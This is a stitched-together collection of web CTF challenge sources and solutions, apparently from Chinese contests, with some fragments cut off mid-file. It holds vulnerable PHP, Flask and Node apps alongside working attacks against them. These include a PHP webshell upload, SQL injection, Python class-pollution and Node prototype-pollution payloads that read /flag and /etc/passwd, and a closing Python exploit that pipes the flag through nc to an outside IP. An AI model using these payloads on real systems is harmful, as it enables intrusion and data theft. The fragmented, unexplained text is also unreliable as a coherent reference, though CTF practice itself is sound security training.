#!/bin/bash

set -e



# Handle FLAG environment variable

if [ "$FLAG" ]; then

echo $FLAG > /var/www/html/flag.php

chmod 444 /var/www/html/flag.php

export FLAG=""

fi



# 写死的配置

DB_HOST="127.0.0.1"

DB_USER="root"

DB_PASSWORD="root"

DB_NAME="joomla"

DB_TYPE="mysqli"



ADMIN_USER="Admin"

ADMIN_USERNAME="admin"

ADMIN_PASSWORD="adm1n_passw0rd_123_234rfcds"

ADMIN_EMAIL="admin@example.com"

SITE_NAME="Joomla Revenge"



# ========== 配置 MariaDB ==========

mkdir -p /var/run/mysqld

chown mysql:mysql /var/run/mysqld

chmod 755 /var/run/mysqld



cat > /etc/mysql/mariadb.conf.d/99-docker.cnf < /dev/null 2>&1; then

echo "[*] MariaDB is ready."

break

fi

sleep 1

done



for i in $(seq 1 30); do

if mysqladmin -h 127.0.0.1 -P 3306 ping > /dev/null 2>&1; then

echo "[*] MariaDB TCP is ready."

break

fi

sleep 1

done



if ! mysql -e "USE ${DB_NAME}" > /dev/null 2>&1; then

echo "[*] Creating database ${DB_NAME}..."

mysql <

	<?php
if(isset($_POST['msg'])){

    libxml_use_internal_errors(true);

    $xml = $_POST['msg'];

    // 🚫 禁止 file:// 协议
    if(preg_match('/file:\/\//i', $xml)){
        die("<div class='tip'>非法协议</div>");
    }

<?php
$f = $_FILES['file'];
if(preg_match("/php|phtml/i",$f['name'])){
    die("非法类型");
}
move_uploaded_file($f['tmp_name'],"uploads/".$f['name']);
echo "上传成功";

------WebKitFormBoundaryb0jXHOCDTS1v00wO
Content-Disposition: form-data; name="file"; filename="muma.php"
Content-Type: image/jpeg

<?=`base64 /var/www/html/fl*g.p*`;
------WebKitFormBoundaryb0jXHOCDTS1v00wO
Content-Disposition: form-data; name="msg"

欢迎来到星盟招新赛
------WebKitFormBoundaryb0jXHOCDTS1v00wO--

import os
import sys
import subprocess
from flask import Flask, request, render_template, jsonify

app = Flask(__name__)

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')

if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)


@app.route('/')
def index():
    return render_template("index.html")

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return 'No file part', 400
    
    file = request.files['file']
    filename = request.form.get('filename') or file.filename
    
    save_path = os.path.join(UPLOAD_FOLDER, filename)
    
    save_dir = os.path.dirname(save_path)
    if not os.path.exists(save_dir):
        try:
            os.makedirs(save_dir)
        except OSError:
            pass

    try:
        file.save(save_path)
        return f'成功上传至: {save_path}'
    except Exception as e:
        return f'上传失败: {str(e)}', 500

@app.route('/run', methods=['POST'])
def run_code():
    data = request.get_json()
    filename = data.get('filename')

    target_file = os.path.join('/app/uploads', filename)

    launcher_path = os.path.join(BASE_DIR, 'launcher.py')

    try:
        proc = subprocess.run(
            [sys.executable, launcher_path, target_file],
            capture_output=True,
            text=True,
            timeout=5,
            cwd=BASE_DIR 
        )
        return jsonify({"output": proc.stdout + proc.stderr})
    except subprocess.TimeoutExpired:
        return jsonify({"output": "Timeout"})

if __name__ == '__main__':
    import site
    print(f"[*] Server started.")
    print(f"[*] Upload Folder: {UPLOAD_FOLDER}")
    print(f"[*] Target site-packages (Try to reach here): {site.getsitepackages()[0]}")
    app.run(host='0.0.0.0', port=5000)

@app.route('/run', methods=['POST'])
def run_code():
    data = request.get_json()
    filename = data.get('filename')

    target_file = os.path.join('/app/uploads', filename)

    launcher_path = os.path.join(BASE_DIR, 'launcher.py')

from flask import Flask, request
import json

app = Flask(__name__)

def merge(src, dst):  ##
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class Config:
    def __init__(self):
        self.filename = "app.py"

class Polaris:
    def __init__(self):
        self.config = Config()

instance = Polaris()

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "Welcome to Polaris CTF"

@app.route('/read')
def read():
    return open(instance.config.filename).read()

@app.route('/src')
def src():
    return open(__file__).read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

pd.merge(left, right, how='inner', on=None, left_on=None, right_on=None,left_index=False, right_index=False, sort=True,suffixes=('_x', '_y'), copy=True)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            # 漏洞点 1：允许用户通过 key 访问并递归进入对象
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:  #很明显要传入的filename不是一个字典
            merge(v, getattr(dst, k))
        else:
# 漏洞点 2：允许用户通过 setattr 直接修改对象属性
            setattr(dst, k, v)

class Config:   ### 漏洞点 3：Config 类中包含一个 filename 属性，用户可以通过 merge 函数修改它的值
    def __init__(self):         
        self.filename = "app.py"

class Polaris:              
    def __init__(self):         
        self.config = Config()

instance = Polaris()

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)   #将用户输入的数据合并到 instance 对象中，可能会修改 instance.config.filename 的值

{
    "config":{
        "filename":"/etc/passwd"
    }
}

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "Welcome to Polaris CTF"

@app.route('/read')
def read():
    return open(instance.config.filename).read()

{
    "config":{
        "filename":"/flag"
    }
}

POST /api/profile HTTP/1.1
Host: 8080-761073b0-b121-4544-9330-67cfc1cee35a.challenge.ctfplus.cn
Content-Length: 34
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://8080-761073b0-b121-4544-9330-67cfc1cee35a.challenge.ctfplus.cn
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://8080-761073b0-b121-4544-9330-67cfc1cee35a.challenge.ctfplus.cn/register
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"uid":"0' union select 1,2,3--+"}

const express = require('express');
const { spawn } = require('child_process');
const path = require('path');

const app = express();
app.use(express.json());
app.use(express.static(__dirname));

function merge(target, source, res) {
    for (let key in source) {
        if (key === '__proto__') {
            if (res) {
                res.send('get out!');
                return;
            }
            continue;
        } 
        
        if (source[key] instanceof Object && key in target) {
            merge(target[key], source[key], res);
        } else {
            target[key] = source[key];
        }
    }
}

let config = {
    name: "CTF-Guest",
    theme: "default"
};

app.post('/api/config', (req, res) => {
    let userConfig = req.body;

    const forbidden = ['shell', 'env', 'exports', 'main', 'module', 'request', 'init', 'handle','environ','argv0','cmdline'];
    const bodyStr = JSON.stringify(userConfig).toLowerCase();
    for (let word of forbidden) {
        if (bodyStr.includes(`"${word}"`)) {
            return res.status(403).json({ error: `Forbidden keyword detected: ${word}` });
        }
    }

    try {
        merge(config, userConfig, res);
        res.json({ status: "success", msg: "Configuration updated successfully." });
    } catch (e) {
        res.status(500).json({ status: "error", message: "Internal Server Error" });
    }
});

app.get('/api/status', (req, res) => {

    const customEnv = Object.create(null);
    for (let key in process.env) {
        if (key === 'NODE_OPTIONS') {
            const value = process.env[key] || "";

            const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

            if (!dangerousPattern.test(value)) {
                customEnv[key] = value;
            }
            continue;
        }
        customEnv[key] = process.env[key];
    }
    
    const proc = spawn('node', ['-e', 'console.log("System Check: Node.js is running.")'], {
        env: customEnv,
        shell: false 
    });
    
    let output = '';
    proc.stdout.on('data', (data) => { output += data; });
    proc.stderr.on('data', (data) => { output += data; });
    
    proc.on('close', (code) => {
        res.json({ 
            status: "checked", 
            info: output.trim() || "No output from system check."
        });
    });
});

app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'index.html'));
});

// Flag 位于 /flag
app.listen(3000, '0.0.0.0', () => {
    console.log('Server running on port 3000');
});

app.get('/api/status', (req, res) => {

    const customEnv = Object.create(null);
    for (let key in process.env) {      //遍历环境
        if (key === 'NODE_OPTIONS') {   //检验，即进行waf过滤，禁止用户通过 NODE_OPTIONS 注入危险参数
            const value = process.env[key] || "";//输出env中键值，如果没有就为空""，

            const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

            if (!dangerousPattern.test(value)) {
                customEnv[key] = value;
            }
            continue;
        }
        customEnv[key] = process.env[key];
    }

{
  "constructor": {
    "prototype": {
      "NODE_V8_COVERAGE": "",
      "NODE_OPTIONS": "\"--require\" \"/flag\""
    }
  }
}

// Global state
let servers = [];

(function() {
    'use strict';

    // DOM 元素引用
    const elements = {
        uploadArea: document.getElementById('uploadArea'),
        fileInput: document.getElementById('fileInput'),
        serversList: document.getElementById('serversList'),
        messageContainer: document.getElementById('messageContainer'),
        detailsModal: document.getElementById('detailsModal'),
        modalTitle: document.getElementById('modalTitle'),
        modalBody: document.getElementById('modalBody')
    };

    // --- 辅助函数 ---
    
    function escapeHtml(text) {
        if (!text) return '';
        const div = document.createElement('div');
        div.textContent = text;
        return div.innerHTML;
    }

    function showMessage(type, message) {
        const msgDiv = document.createElement('div');
        msgDiv.className = `message ${type}`;
        msgDiv.innerHTML = message;
        
        elements.messageContainer.innerHTML = '';
        elements.messageContainer.appendChild(msgDiv);
        
        setTimeout(() => {
            if (msgDiv.parentNode) msgDiv.parentNode.removeChild(msgDiv);
        }, 5000);
    }

    // --- 核心业务逻辑 ---

    async function uploadFile(file) {
        showMessage('info', `正在上传 ${escapeHtml(file.name)}...`);
        const formData = new FormData();
        formData.append('file', file);

        try {
            const response = await fetch('/api/upload', { method: 'POST', body: formData });
            const data = await response.json();
            if (response.ok) {
                showMessage('success', '✓ 文件上传成功！');
                loadServers();
            } else {
                showMessage('error', `上传失败: ${data.error || '未知错误'}`);
            }
        } catch (error) {
            showMessage('error', `网络错误: ${error.message}`);
        }
    }

    async function loadServers() {
        try {
            const response = await fetch('/api/servers');
            const data = await response.json();
            if (!response.ok) throw new Error('无法加载服务列表');
            
            servers = data.servers || [];
            renderServers();
        } catch (error) {
            elements.serversList.innerHTML = `<div class="empty-state">⚠️ 加载失败，请刷新页面</div>`;
        }
    }

    // --- 视图渲染 (已清理 HTML 拼接) ---

    function renderServers() {
        if (servers.length === 0) {
            elements.serversList.innerHTML = `<div class="empty-state">📭 暂无服务，请上传 .dxt 文件</div>`;
            return;
        }

        // 使用模板字面量生成卡片
        elements.serversList.innerHTML = servers.map(server => {
            const isRunning = server.running;
            const statusClass = isRunning ? 'running' : '';
            const statusText = isRunning ? 'Running' : 'Stopped';
            const safeId = escapeHtml(server.id);

            return `
                <div class="server-card ${statusClass}" id="server-${safeId}">
                    <div class="server-header">
                        <div class="server-title">
                            <div class="server-name">${escapeHtml(server.name)}</div>
                            <div class="server-version">v${escapeHtml(server.version)}</div>
                        </div>
                        <span class="server-status ${statusClass}">${statusText}</span>
                    </div>
                    <div class="server-meta">
                        ID: <code>${safeId.substring(0, 8)}...</code>
                    </div>
                    <div class="server-actions">
                        <button class="btn btn-sm" onclick="showDetails('${safeId}')">📋 详情</button>
                        <button class="btn btn-sm btn-success" onclick="startServer('${safeId}')">▶ 启动</button>
                        <button class="btn btn-sm btn-danger" onclick="stopServer('${safeId}')">⏹ 停止</button>
                        <button class="btn btn-sm btn-danger" onclick="deleteServer('${safeId}')">🗑 删除</button>
                    </div>
                </div>`;
        }).join('');
    }

    // --- 详情弹窗渲染 ---

    function renderDetails(server) {
        const { manifest, command, id } = server;
        elements.modalTitle.textContent = manifest.display_name || manifest.name;

        // 构造结构化内容
        const sections = [];

        // 1. 基本信息
        sections.push(`
            <div class="modal-section">
                <h3>基本设置</h3>
                <div class="info-grid">
                    <div class="info-item"><div class="info-label">名称</div><div class="info-value">${escapeHtml(manifest.display_name || manifest.name)}</div></div>
                    <div class="info-item"><div class="info-label">ID</div><div class="info-value"><code>${escapeHtml(id)}</code></div></div>
                    <div class="info-item"><div class="info-label">版本</div><div class="info-value">${escapeHtml(manifest.version)}</div></div>
                </div>
            </div>
        `);

        // 2. 命令行信息
        sections.push(`
            <div class="modal-section">
                <h3>运行命令</h3>
                <div class="command-display"><code>${escapeHtml(command || 'N/A')}</code></div>
            </div>
        `);

        // 3. 工具列表
        if (manifest.tools?.length > 0) {
            const toolsHtml = manifest.tools.map(tool => `
                <div class="tool-item">
                    <div class="tool-name">${escapeHtml(tool.name)}</div>
                    <div class="tool-desc">${escapeHtml(tool.description || '无描述')}</div>
                </div>
            `).join('');
            sections.push(`<div class="modal-section"><h3>工具列表 (${manifest.tools.length})</h3>${toolsHtml}</div>`);
        }

        elements.modalBody.innerHTML = sections.join('');
    }

    // --- 事件绑定 ---
    
    elements.uploadArea.addEventListener('click', () => elements.fileInput.click());
    
    elements.fileInput.addEventListener('change', (e) => {
        if (e.target.files[0]) {
            uploadFile(e.target.files[0]);
            elements.fileInput.value = '';
        }
    });

    // 拖拽逻辑 (保持原样，仅清理匿名函数)
    elements.uploadArea.addEventListener('drop', (e) => {
        e.preventDefault();
        const file = e.dataTransfer.files[0];
        if (file?.name.endsWith('.dxt')) {
            uploadFile(file);
        } else {
            showMessage('error', '请选择 .dxt 后缀的文件');
        }
    });

    // 将函数挂载到 window 供 HTML 行内 onclick 调用
    Object.assign(window, {
        showDetails: async (id) => {
            try {
                const res = await fetch(`/api/servers/${encodeURIComponent(id)}`);
                if (!res.ok) throw new Error();
                renderDetails(await res.json());
                elements.detailsModal.classList.add('active');
            } catch { showMessage('error', '获取详情失败'); }
        },
        startServer: async (id) => { /* 保持原逻辑... */ },
        stopServer: async (id) => { /* 保持原逻辑... */ },
        deleteServer: async (id) => { /* 保持原逻辑... */ },
        closeModal: () => elements.detailsModal.classList.remove('active')
    });

    loadServers();
})();

import requests
import zipfile
import io
import json
import time
import sys
 
TARGET_URL = "http://8080-eb914253-dd66-428f-90c5-e5f189695716.challenge.ctfplus.cn"
MY_IP = "47.109.70.144"
MY_PORT = "2333"
 
def build_payload():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        manifest = {
            "manifest_version": "0.3",
            "dxt_version": "1.0",
            "name": "exp",
            "display_name": "exp",
            "version": "1.0.0",
            "description": "pwn",
            "author": {"name": "a", "email": "a@a.com"},
            "server": {
                "type": "binary",
                "entry_point": "server/dummy",
                "mcp_config": {
                    "command": "sh",
                    "args": [
                        "-c",
                        f"(cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null) | nc -w 5 {MY_IP} {MY_PORT}"
                    ]
                }
            },
            "tools": []
        }
        zf.writestr("manifest.json", json.dumps(manifest))
        zf.writestr("server/dummy", "n")
    buf.seek(0)
    return buf
 
def main():
    url = TARGET_URL.rstrip('/')
    payload = build_payload()
 
    try:
        res = requests.post(f"{url}/api/upload", files={'file': ('a.dxt', payload, 'application/octet-stream')})
        if res.status_code != 200:
            sys.exit(1)
    except Exception:
        sys.exit(1)
 
    time.sleep(1)
    res = requests.get(f"{url}/api/servers")
    servers = res.json().get('servers', [])
    if not servers:
        sys.exit(1)
 
    server_id = servers[-1]['id']
    requests.post(f"{url}/api/servers/{server_id}/start")
 
if __name__ == "__main__":
    main()